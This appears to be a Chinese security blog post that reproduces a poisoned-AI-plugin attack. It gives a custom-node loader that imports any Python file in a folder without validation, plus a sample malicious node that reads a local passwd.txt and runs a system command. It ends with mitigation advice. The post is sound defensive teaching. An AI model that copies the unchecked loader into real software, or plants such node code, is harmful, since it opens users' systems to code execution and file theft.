news 2026/4/15 10:52:43

AI 插件供应链投毒复现:受害者加载被篡改插件导致 RCE 的实战分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
AI 插件供应链投毒复现:受害者加载被篡改插件导致 RCE 的实战分析

文章目录

    • 一、漏洞背景
    • 二、实验环境准备
    • 三、靶场核心代码实现
      • 3.1 核心功能文件(node_loader.py)
      • 3.2 恶意投毒文件(custom_nodes/malicious_node.py)
    • 四、实验执行步骤与结果
      • 4.1 实验执行流程
      • 4.2 实验结果输出
    • 五、漏洞总结与安全建议
      • 5.1 漏洞核心成因
      • 5.2 安全防护建议

本文复现了 AI 插件生态中的典型供应链攻击场景:攻击者对原本合法的插件包进行投毒,在其中植入恶意 Python 代码。当受害者从不受信任渠道下载并部署该被篡改的插件后,插件的自动节点加载逻辑在无任何校验的情况下执行恶意代码,从而触发远程代码执行(RCE)。实验通过构建一个模拟靶场,展示受害者在正常加载插件时如何被动执行恶意逻辑,导致敏感数据被读取、系统命令被执行。

一、漏洞背景

在当前代码审计场景中,AI辅助开发工具的应用日益广泛,许多AI插件具备自动加载指定目录文件并完成更新的功能,以实现自定义节点扩展等特性。

这一便捷性背后潜藏着显著安全风险:攻击者通过篡改 / 伪造合法 AI 插件的方式(即「插件投毒」),在插件包中植入恶意 Python 文件;当开发者下载并部署该投毒插件后,插件的自动加载逻辑会在无校验的情况下执行恶意代码,直接触发远程代码执行(RCE) 漏洞,导致服务器被控制、数据泄露、系统被篡改等严重后果。

本文通过构建模拟靶场,复现该漏洞的触发过程,剖析漏洞成因并提供风险警示。

二、实验环境准备

本次实验环境搭建简单,无需复杂依赖,具体要求如下:

  • 编程语言环境:Python 3.7及以上版本

  • 依赖说明:仅使用Python标准内置库,无额外第三方依赖包

三、靶场核心代码实现

靶场由两部分核心代码构成:一是存在漏洞的AI插件节点加载脚本,二是用于模拟攻击的恶意文件。

以下为完整代码实现,代码部分保持原始逻辑未作修改。

3.1 核心功能文件(node_loader.py)

该脚本模拟AI插件的自定义节点加载功能,通过动态导入指定目录下的Python文件实现节点扩展,但未对加载文件的合法性进行任何校验,存在明显安全缺陷:

importosimporttimeimportlogging# 节点映射表# 用于存储自定义节点的类映射关系,初始化为空字典NODE_CLASS_MAPPINGS={}# folder_paths 工具类# 模拟自定义节点目录路径获取工具类,通过匿名类创建对象# 包含get_folder_paths方法,入参x无实际作用,返回固定的自定义节点目录列表folder_paths=type('obj',(object,),{"get_folder_paths":lambdax:["./custom_nodes"]# 当前目录下的custom_nodes文件夹路径})# 导入并执行Python文件defload_custom_node(module_path,base_node_names,module_parent="custom_nodes"):""" 加载指定路径的自定义节点模块 参数: module_path (str): 自定义节点模块的文件路径 base_node_names (set): 加载前已存在的节点名称集合(用于对比) module_parent (str): 模块的父包名,默认值为"custom_nodes" 返回: bool: 加载成功返回True,失败返回False """try:# 拼接模块名:父包名 + 模块文件名(去除.py后缀)module_name=f"{module_parent}.{os.path.basename(module_path)[:-3]}"# 动态导入模块(执行模块内的代码,完成节点注册)__import__(module_name)returnTrueexceptExceptionase:# 捕获导入过程中的所有异常,记录错误日志logging.error(f"加载失败:{e}")returnFalse# 初始化函数definit_external_custom_nodes():""" 初始化外部自定义节点 1. 获取当前已注册的节点名称 2. 遍历自定义节点目录,加载所有有效Python文件 3. 记录每个节点的加载耗时并输出日志 """# 获取加载前节点映射表中的节点名称集合,用于后续对比base_node_names=set(NODE_CLASS_MAPPINGS.keys())# 获取自定义节点目录路径列表node_paths=folder_paths.get_folder_paths("custom_nodes")# 初始化列表,用于存储每个节点的加载耗时、路径和加载状态node_import_times=[]# 遍历每个自定义节点目录forcustom_node_pathinnode_paths:# 获取目录下的所有文件/文件夹名称列表possible_modules=os.listdir(os.path.realpath(custom_node_path))# 移除__pycache__目录(Python编译缓存目录,无需处理)if"__pycache__"inpossible_modules:possible_modules.remove("__pycache__")# 遍历目录下的每个文件/文件夹forpossible_moduleinpossible_modules:# 拼接完整的模块文件路径module_path=os.path.join(custom_node_path,possible_module)# 过滤非Python文件:如果是文件且后缀不是.py则跳过ifos.path.isfile(module_path)andos.path.splitext(module_path)[1]!=".py":continue# 过滤已禁用的节点文件(后缀为.disabled的文件)ifmodule_path.endswith(".disabled"):continue# 记录加载前的时间(高精度计时器)time_before=time.perf_counter()# 执行节点加载函数,获取加载结果success=load_custom_node(module_path,base_node_names)# 计算加载耗时,并存入列表(耗时、模块路径、加载状态)node_import_times.append((time.perf_counter()-time_before,module_path,success))# 如果有加载记录,输出每个节点的加载耗时日志iflen(node_import_times)>0:logging.info("\nImport times for custom nodes:")# 按加载耗时排序后遍历输出forninsorted(node_import_times):# 根据加载状态拼接提示信息:失败则添加导入失败标识import_message=" (IMPORT FAILED)"ifnotn[2]else""# 输出格式化日志:耗时(6位小数) + 状态提示 + 模块路径logging.info("%.6f seconds%s: %s"%(n[0],import_message,n[1]))# 主程序入口if__name__=="__main__":# 配置日志输出:设置日志级别为INFO,指定日志格式(时间-级别-信息)logging.basicConfig(level=logging.INFO,format="%(asctime)s - %(levelname)s - %(message)s")# 执行自定义节点初始化函数init_external_custom_nodes()

3.2 恶意投毒文件(custom_nodes/malicious_node.py)

在脚本指定的加载目录(custom_nodes)下植入该恶意文件,文件包含两类恶意行为:读取服务器敏感文件与执行系统命令,用于模拟攻击者的攻击意图。

# 恶意代码1:读取服务器敏感文件try:withopen(r"C:\Users\86177\Desktop\passwd.txt","r")asf:sensitive_data=f.read()print(f"\n读取敏感文件内容:\n{sensitive_data}")exceptExceptionase:print(f"\n读取敏感文件失败:{e}")# 恶意代码2:执行系统命令importos result=os.system("dir")print(f"\n执行系统命令: \n{result}")

四、实验执行步骤与结果

4.1 实验执行流程

1.在当前代码目录下,手动创建名为“custom_nodes”的文件夹;

2.将上述恶意文件“malicious_node.py”放入“custom_nodes”文件夹中;

3.在终端执行漏洞加载脚本,触发节点加载逻辑,命令如下:

python node_loader.py

4.2 实验结果输出

脚本执行后,将同时输出日志信息与恶意代码执行结果,典型输出如下(敏感文件路径及系统命令结果需结合实际环境):

结果分析:从输出可见,漏洞脚本成功加载了恶意文件并执行其中代码——敏感文件“passwd.txt”的内容被读取并打印,系统命令“dir”(列出目录内容)也正常执行,证明RCE漏洞已成功触发。

五、漏洞总结与安全建议

5.1 漏洞核心成因

本次复现的RCE漏洞根源在于插件加载机制的安全校验缺失,具体表现为两点:一是对加载目录下的文件未进行合法性校验,无论文件是否为可信节点代码,均会被无差别加载;二是通过__import__函数动态导入模块时,未限制模块的执行权限,直接导致恶意代码获得与脚本相同的运行权限。

5.2 安全防护建议

针对此类AI插件加载漏洞,需从文件校验、权限控制等维度构建防护体系,核心建议如下:

1.文件白名单校验
仅允许加载符合命名规范、数字签名可信的文件,拒绝未知来源文件的加载请求;

2.代码执行沙箱化:
将自定义节点的加载与执行置于沙箱环境中,限制其文件读取、系统命令执行等敏感权限;

3.加载日志审计
完善插件加载日志,记录所有加载文件的路径、时间及执行结果,便于异常行为追溯;

4.目录权限管控
严格限制“custom_nodes”等加载目录的写入权限,防止攻击者通过非法手段植入恶意文件。

通过上述措施,可有效降低AI插件自动加载功能带来的安全风险,避免因文件投毒引发RCE等严重安全事件。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 15:12:44

毕设 基于机器视觉的停车位识别检测

简介 你是不是经常在停车场周围转来转去寻找停车位。如果你的车辆能准确地告诉你最近的停车位在哪里,那是不是很爽?事实证明,基于深度学习和OpenCV解决这个问题相对容易,只需获取停车场的实时视频即可。 该项目可推荐用于毕业设计…

作者头像 李华
网站建设 2026/4/15 15:12:45

动作迁移技术新范式:Wan2.2-Animate-14B如何重塑角色动画创作流程

动作迁移技术新范式:Wan2.2-Animate-14B如何重塑角色动画创作流程 【免费下载链接】Wan2.2-Animate-14B 项目地址: https://ai.gitcode.com/hf_mirrors/Wan-AI/Wan2.2-Animate-14B 在数字内容创作领域,传统角色动画制作长期面临着一个核心难题&a…

作者头像 李华
网站建设 2026/4/15 14:30:57

Visual Studio Markdown编辑插件:5个提升文档效率的实用技巧

Visual Studio Markdown编辑插件:5个提升文档效率的实用技巧 【免费下载链接】MarkdownEditor2022 A Visual Studio extension 项目地址: https://gitcode.com/gh_mirrors/ma/MarkdownEditor2022 Visual Studio MarkdownEditor2022是一款专为开发者设计的Mar…

作者头像 李华
网站建设 2026/4/14 22:27:51

5分钟上手:MMSA多模态情感分析框架的终极使用指南

5分钟上手:MMSA多模态情感分析框架的终极使用指南 【免费下载链接】MMSA MMSA is a unified framework for Multimodal Sentiment Analysis. 项目地址: https://gitcode.com/gh_mirrors/mm/MMSA 一键配置技巧:快速部署多模态AI应用 在当今人工智…

作者头像 李华
网站建设 2026/4/12 22:50:38

PaddleOCR终极指南:智能文字识别从入门到精通

PaddleOCR终极指南:智能文字识别从入门到精通 【免费下载链接】PaddleOCR 飞桨多语言OCR工具包(实用超轻量OCR系统,支持80种语言识别,提供数据标注与合成工具,支持服务器、移动端、嵌入式及IoT设备端的训练与部署&…

作者头像 李华
网站建设 2026/4/15 15:43:44

Verl强化学习框架避坑指南:从环境冲突到高效训练

Verl强化学习框架避坑指南:从环境冲突到高效训练 【免费下载链接】verl verl: Volcano Engine Reinforcement Learning for LLMs 项目地址: https://gitcode.com/GitHub_Trending/ve/verl "为什么我的CUDA版本总是冲突?为什么安装完vLLM后Py…

作者头像 李华